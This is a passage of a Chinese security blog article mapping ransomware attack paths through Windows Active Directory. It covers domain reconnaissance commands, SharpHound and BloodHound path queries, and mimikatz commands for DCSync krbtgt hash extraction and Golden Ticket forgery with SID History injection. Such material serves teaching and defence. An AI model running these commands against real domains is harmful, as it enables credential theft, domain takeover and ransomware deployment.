第13篇-Windows域环境中的勒索攻击路径
原创
pandazhengzheng
pandazhengzheng
安全分析与研究
2026年8月18日 22:00
广东
在小说阅读器读本章
去阅读
一、Windows域环境攻击面总览
1.1 Active Directory架构概述(攻击者视角)
Active Directory(AD)是Windows域环境的核心身份与访问管理基础设施,承载着企业网络中几乎所有的认证、授权和审计功能。从攻击者视角审视,AD不仅是一个目录服务,更是一张包含所有用户、计算机、组和信任关系的攻击地图。
AD的核心组件及其安全意义如下表所示:
| AD组件 | 功能描述 | 攻击价值 |
|---|---|---|
| Domain Controller (DC) | 存储AD数据库(NTDS.DIT),处理Kerberos/NTLM认证 | 最高价值目标,控制DC即控制全域 |
| NTDS.DIT | AD数据库文件,存储所有用户密码哈希 | 包含所有域用户凭据,可直接离线破解 |
| SYSVOL | 存储GPO策略文件,域内所有机器可读 | 可能包含GPP中残留的明文密码 |
| krbtgt账户 | Kerberos票据授予服务(TGS)的账户 | Golden Ticket攻击的核心目标 |
| AdminSDHolder | 保护高权限组对象的ACL容器 | 持久化后门的关键位置 |
| Domain Admins | 域管理员组 | 域内最高权限,可管理所有域成员 |
| Enterprise Admins | 企业管理员组 | 林范围最高权限,跨域控制 |
| Schema Admins | 架构管理员组 | 可修改AD架构,影响整个林 |
| DNS Admins | DNS管理员组 | 可执行DLL注入,潜在提权至SYSTEM |
| Group Policy Creator Owners | GPO创建者组 | 可修改GPO实现全域代码执行 |
AD数据库(NTDS.DIT)存储在域控的%SystemRoot%\\NTDS\\目录下,其内部结构包含以下关键表:
NTDS.DIT内部结构
├── datatable -- 存储所有AD对象(用户、计算机、组等)
├── link_table -- 存储对象间的关系(组成员、ACL等)
├── sd_table -- 存储安全描述符
├── hidden_table -- 内部元数据
└── quota_table -- 存储配额信息
1.2 域环境常见攻击路径
域环境中的勒索攻击通常遵循一条从外围到核心的路径。以下展示了攻击者从初始访问到全域加密的典型攻击链:
初始访问 凭据窃取 横向移动 域控攻陷 全域加密
┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐
│ 钓鱼邮件 │ │ LSASS │ │ PTH/PTT │ │ DCSync │ │ GPO下发 │
│ 漏洞利用 │──────────▶│ 转储 │──────────▶│ PsExec │──────────▶│ Golden │──────────▶│ WMI批量 │
│ 供应链 │ │ Kerberoast│ │ WMI │ │ Ticket │ │ 计划任务 │
│ RDP暴破 │ │ AS-REP │ │ RDP │ │ DSRM │ │ 脚本分发 │
└──────────┘ └──────────┘ └──────────┘ └──────────┘ └──────────┘
攻击路径的关键特征在于其链式依赖关系。每一步的成功都依赖于前一步获取的信息或权限:
| 攻击阶段 | 依赖前置条件 | 获取成果 | 持续时间 |
|---|---|---|---|
| 初始访问 | 无 | 普通用户权限shell | 数分钟至数周 |
| 域侦察 | 域内任意账户 | 域拓扑、高价值目标 | 数小时至数天 |
| 凭据窃取 | 本地管理员权限 | 域用户哈希/票据 | 数分钟至数小时 |
| 域提权 | 域用户账户 | 域管理员权限 | 数小时至数天 |
| 横向移动 | 域管理员凭据 | 域控访问权限 | 数分钟至数小时 |
| 全域加密 | 域控管理员权限 | 全域加密执行 | 数小时 |
1.3 域环境为何成为勒索攻击的首要目标
域环境之所以成为勒索攻击的理想目标,源于其架构特性带来的多重安全悖论:
集中化管理的双刃剑效应:AD的集中化设计初衷是简化管理,但同时也意味着攻陷单一控制点即可影响整个域。一个Domain Admin账户的凭据泄露,等同于整个域的沦陷。
信任关系的传递性:域信任关系允许用户在一个域中获得对另一个域资源的访问权限。这种传递性信任使得攻击者可以从一个低安全级别的域向高安全级别的域横向移动。
默认配置的安全缺陷:Windows域环境的默认配置优先考虑可用性而非安全性。以下列举了常见的默认配置问题:
| 默认配置 | 安全影响 | 利用方式 |
|---|---|---|
| SMB签名非强制 | 允许NTLM中继攻击 | NTLM Relay |
| LDAP签名非强制 | 允许LDAP中继 | LDAP Relay |
| NTLM认证默认启用 | 哈希可被传递使用 | Pass-the-Hash |
| Kerberos RC4加密支持 | 弱加密可被离线破解 | Kerberoasting |
| GPP密码存储(旧版) | 密码可被解密 | SYSVOL密码提取 |
| 未启用LDAP通道绑定 | 允许LDAP中继 | LDAP Relay |
| 未启用LDAP签名 | 允许中间人攻击 | LDAP中间人 |
| 默认ACL过于宽松 | 普通用户可枚举大量信息 | AD信息收集 |
| AdminSDHolder默认ACL | 可被利用植入后门 | 持久化 |
| DSRM密码与DC密码不同步 | 可被独立利用 | DSRM后门 |
横向移动的便利性:域环境内置的管理协议(WMI、WinRM、PsExec等)为攻击者提供了天然的横向移动通道,无需额外部署工具即可在域内自由移动。
二、初始访问与域侦察
2.1 域加入机器的初始入侵
攻击者获取域内初始立足点的方式多种多样,以下按入侵向量分类详细说明:
2.1.1 终端入侵向量
| 入侵向量 | 技术细节 | 获取权限 | 检测难度 |
|---|---|---|---|
| 钓鱼邮件+宏 | Word/Excel宏下载并执行Payload | 普通域用户 | 中 |
| 钓鱼邮件+HTA | mshta.exe执行远程脚本 | 普通域用户 | 中 |
| 钓鱼邮件+LNK | 快捷方式文件执行PowerShell | 普通域用户 | 高 |
| RDP暴力破解 | 字典攻击弱密码 | 本地/域用户 | 低 |
| VPN凭据窃取 | 网络钓鱼获取VPN凭据 | 远程访问权限 | 中 |
| 供应链攻击 | 软件更新劫持/第三方组件 | 取决于软件权限 | 极高 |
| 漏洞利用 | 公网服务漏洞(ProxyLogon等) | SYSTEM/服务账户 | 高 |
| 水坑攻击 | 供应链或常用网站植入 | 普通域用户 | 极高 |
2.1.2 初始访问后的域环境感知
一旦获得域内机器的访问权限,攻击者首先需要确认当前环境是否为域环境以及自身在域中的位置:
# 检查是否在域环境中
systeminfo | findstr /B /C:\"Domain\"
nltest /dsgetdc:域名
echo %USERDOMAIN%
echo %LOGONSERVER%
# 获取当前用户信息
whoami /all
whoami /groups
# 获取域控制器列表
nltest /dclist:域名
net group \"Domain Controllers\" /domain
# 获取域管理员列表
net group \"Domain Admins\" /domain
# 获取所有域用户
net user /domain
# 获取所有域计算机
net group \"Domain Computers\" /domain
2.2 AD枚举技术
AD枚举是攻击者在域内进行侦察的核心活动。通过枚举,攻击者可以绘制出完整的域拓扑图,识别高价值目标和攻击路径。
2.2.1 LDAP查询枚举
LDAP(轻量级目录访问协议)是AD的查询接口,攻击者可以通过LDAP查询获取大量域信息:
# 使用PowerShell进行LDAP查询
# 查询所有域用户
([ADSI]\"LDAP://CN=Users,DC=domain,DC=com\").Children | Select-Object name, sAMAccountName
# 查询所有启用的用户账户
Get-ADUser -Filter {Enabled -eq $true} -Properties *
# 查询所有具有SPN的账户(Kerberoasting目标)
Get-ADUser -Filter {ServicePrincipalName -ne \"$null\"} -Properties ServicePrincipalName
# 查询所有域管理员
Get-ADGroupMember \"Domain Admins\" -Recursive
# 查询所有计算机账户
Get-ADComputer -Filter * -Properties Name, OperatingSystem, LastLogonDate
# 查询域信任关系
Get-ADTrust -Filter *
# 查询GPO信息
Get-GPO -All | Select-Object DisplayName, GpoStatus
# 查询OU结构
Get-ADOrganizationalUnit -Filter * | Select-Object Name, DistinguishedName
# 查询具有委派权限的账户
Get-ADUser -Filter {TrustedForDelegation -eq $true}
Get-ADComputer -Filter {TrustedForDelegation -eq $true}
以下列举了攻击者最关注的LDAP属性及其安全含义:
| LDAP属性 | 存储内容 | 攻击利用 |
|---|---|---|
| sAMAccountName | 用户登录名 | 用户枚举 |
| servicePrincipalName | 服务主体名称 | Kerberoasting目标识别 |
| userAccountControl | 账户控制标志 | 识别禁用/锁定/委派账户 |
| memberOf | 组成员关系 | 权限路径分析 |
| msDS-AllowedToDelegateTo | 约束委派目标 | 委派攻击 |
| pwdLastSet | 密码最后设置时间 | 识别弱密码策略 |
| lastLogonTimestamp | 最后登录时间 | 识别活跃账户 |
| adminCount | 是否受AdminSDHolder保护 | 高权限账户识别 |
| scriptPath | 登录脚本路径 | 识别可篡改的脚本 |
| gPLink | 链接的GPO | GPO攻击目标识别 |
2.2.2 BloodHound与SharpHound
BloodHound是域环境攻击路径分析的核心工具,它通过图数据库可视化展示AD中的攻击路径。SharpHound是其数据采集器。
SharpHound数据采集方法:
# 基本采集
SharpHound.exe -c all
# 仅采集特定集合
SharpHound.exe -c Group,LocalAdmin,Session
# 指定域控进行会话采集
SharpHound.exe -c SessionLoop --domaincontroller DC01.domain.com
# 使用指定凭据采集
SharpHound.exe -c all --domain domain.com --ldapusername user --ldappassword pass
# Stealth模式(减少检测风险)
SharpHound.exe -c all --stealth
# 仅收集ACL信息
SharpHound.exe -c ACL
# 收集信任关系
SharpHound.exe -c Trusts
# 收集容器信息
SharpHound.exe -c Container
BloodHound采集的数据集及其攻击价值:
| 数据集 | 采集内容 | 攻击价值 |
|---|---|---|
| LocalAdmins | 本地管理员组成员 | 识别横向移动路径 |
| Sessions | 活跃登录会话 | 定位高权限用户会话 |
| GroupMembers | 组成员关系 | 权限继承路径分析 |
| ACLs | 访问控制列表 | 权限滥用路径 |
| Trusts | 域信任关系 | 跨域攻击路径 |
| GPOs | 组策略对象 | GPO滥用路径 |
| OU | 组织单位结构 | 理解组织架构 |
| Container | 容器对象 | 深层权限分析 |
| ObjectProps | 对象属性 | SPN/委派信息 |
BloodHound关键查询路径:
// 查找从当前用户到Domain Admins的所有路径
MATCH p=shortestPath((u:User {sAMAccountName:\"USERNAME\"})-[*1..]->(g:Group {name:\"DOMAIN [email protected]\"}))
RETURN p
// 查找所有具有DCSync权限的路径
MATCH p=shortestPath((u:User)-[*1..]->(d:Domain))
WHERE u <> d
RETURN p
// 查找所有可以通过Kerberoasting攻击的路径
MATCH (u:User {hasspn:true})
RETURN u
// 查找所有具有本地管理员权限的用户
MATCH (u:User)-[:AdminTo]->(c:Computer)
RETURN u.name, c.name
// 查找所有具有委派权限的计算机
MATCH (c:Computer {unconstraineddelegation:true})
RETURN c.name
// 查找从某台计算机到域控的路径
MATCH p=shortestPath((c:Computer {name:\"[email protected]\"})-[*1..]->(t:Domain))
RETURN p
2.2.3 域信任关系利用
域信任关系是AD林和多域环境中的关键安全边界。攻击者可以利用信任关系从一个域向另一个域扩展攻击:
| 信任类型 | 方向 | 安全影响 | 攻击方式 |
|---|---|---|---|
| 父子信任 | 双向可传递 | 子域可攻击父域 | SID History注入 |
| 林信任 | 双向/单向 | 跨林攻击 | 信任密钥窃取 |
| 外部信任 | 单向/双向非传递 | 有限跨域访问 | 信任密钥利用 |
| 林根信任 | 双向可传递 | 跨林Kerberos | ForgeTrust攻击 |
SID History攻击(子域到父域提权):
攻击前提:攻击者已控制子域的域控
攻击原理:利用SID History属性将父域的Enterprise Admins SID (519)注入到子域用户
攻击结果:子域用户获得父域Enterprise Admins权限
攻击流程:
1. 获取子域域控权限
2. 使用mimikatz提取krbtgt哈希
3. 伪造包含父域Enterprise Admins SID的TGT
4. 使用伪造的TGT访问父域资源
# SID History攻击 - Mimikatz
# 提取子域krbtgt哈希
mimikatz # lsadump::dcsync /domain:child.domain.com /user:child\\krbtgt
# 获取父域krbtgt的SID
mimikatz # lsadump::dcsync /domain:domain.com /user:domain\\krbtgt
# 伪造Golden Ticket并注入SID History
mimikatz # kerberos::golden /user:Administrator /domain:child.domain.com /sid:S-1-5-21-CHILD_DOMAIN_SID /sids:S-1-5-21-PARENT_DOMAIN_SID-519 /krbtgt:HASH /ptt
2.3 SPN扫描与用户枚举
SPN(Service Principal Name)是Kerberos认证中标识服务实例的唯一标识符。攻击者可以通过SPN扫描发现域内运行的服务及其关联账户,这是Kerberoasting攻击的前置步骤。
2.3.1 SPN扫描技术
# 使用setspn枚举SPN
setspn -T domain.com -Q */*
`
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论